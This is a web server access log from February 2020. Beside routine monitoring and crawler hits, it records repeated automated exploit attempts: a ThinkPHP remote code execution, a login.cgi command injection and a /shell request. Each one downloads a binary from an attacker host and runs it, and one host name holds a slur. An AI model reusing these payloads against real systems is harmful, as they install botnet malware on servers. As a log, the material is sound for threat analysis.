212.91.246.72 - - [09/Feb/2020:15:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.130.199 - - [09/Feb/2020:15:39:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [09/Feb/2020:15:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.130.199 - - [09/Feb/2020:15:39:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
73.33.112.155 - - [09/Feb/2020:15:40:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:15:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.5.46 - - [09/Feb/2020:15:40:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.130.199 - - [09/Feb/2020:15:40:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.130.199 - - [09/Feb/2020:15:41:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [09/Feb/2020:15:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.94.19.57 - - [09/Feb/2020:15:41:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.72.30.57 - - [09/Feb/2020:15:41:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:15:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.138.4.112 - - [09/Feb/2020:15:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:15:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
156.207.171.29 - - [09/Feb/2020:15:48:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
156.207.171.29 - - [09/Feb/2020:15:48:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.46.24.251 - - [09/Feb/2020:15:49:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:15:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.109.177.77 - - [09/Feb/2020:15:51:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.73.116.254 - - [09/Feb/2020:15:52:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:15:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:54:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:55:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.146.6.159 - - [09/Feb/2020:15:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:15:56:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:57:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.62.149 - - [09/Feb/2020:15:58:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:15:59:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:00:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.213.75 - - [09/Feb/2020:16:00:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:01:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:02:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:03:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:04:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.76.45 - - [09/Feb/2020:16:04:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:05:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [09/Feb/2020:16:05:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.11.175.27 - - [09/Feb/2020:16:08:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.149.91.189 - - [09/Feb/2020:16:09:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
112.72.93.32 - - [09/Feb/2020:16:09:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:09:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.26.6.5 - - [09/Feb/2020:16:11:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.234.228 - - [09/Feb/2020:16:12:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.19.184.152 - - [09/Feb/2020:16:12:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:13:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.183.196.232 - - [09/Feb/2020:16:14:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
138.219.110.159 - - [09/Feb/2020:16:14:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.113.229.198 - - [09/Feb/2020:16:14:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:14:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:15:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:16:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:17:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.40.124.52 - - [09/Feb/2020:16:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:16:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.112.60.109 - - [09/Feb/2020:16:21:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:16:21:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [09/Feb/2020:16:21:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [09/Feb/2020:16:21:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [09/Feb/2020:16:21:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [09/Feb/2020:16:21:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
195.138.79.31 - - [09/Feb/2020:16:21:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
121.180.208.154 - - [09/Feb/2020:16:22:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:16:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [09/Feb/2020:16:26:23 +0100] "GET / HTTP/1.1" 200 1229 "https://mostbet-original.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
46.119.171.190 - - [09/Feb/2020:16:26:23 +0100] "GET / HTTP/1.1" 200 1229 "https://mostbet-original.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
46.119.171.190 - - [09/Feb/2020:16:26:23 +0100] "GET / HTTP/1.1" 200 1229 "https://mostbet-original.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)"
212.91.246.72 - - [09/Feb/2020:16:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.170.62.233 - - [09/Feb/2020:16:27:09 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [09/Feb/2020:16:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.176.144.88 - - [09/Feb/2020:16:27:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:16:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [09/Feb/2020:16:28:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.216.96.244 - - [09/Feb/2020:16:30:46 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
95.216.96.244 - - [09/Feb/2020:16:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)"
212.91.246.72 - - [09/Feb/2020:16:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.33.120.53 - - [09/Feb/2020:16:33:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.253.80 - - [09/Feb/2020:16:36:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.17.63.2 - - [09/Feb/2020:16:37:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [09/Feb/2020:16:38:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.169.2.20 - - [09/Feb/2020:16:40:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:16:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.110.237.139 - - [09/Feb/2020:16:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [09/Feb/2020:16:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.75.115 - - [09/Feb/2020:16:44:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:44:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.166.94 - - [09/Feb/2020:16:44:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:45:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:46:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.79.188.25 - - [09/Feb/2020:16:47:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [09/Feb/2020:16:47:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:48:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:50:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.117.234.62 - - [09/Feb/2020:16:51:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:16:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:16:53:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.197.168.66 - - [09/Feb/2020:16:54:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
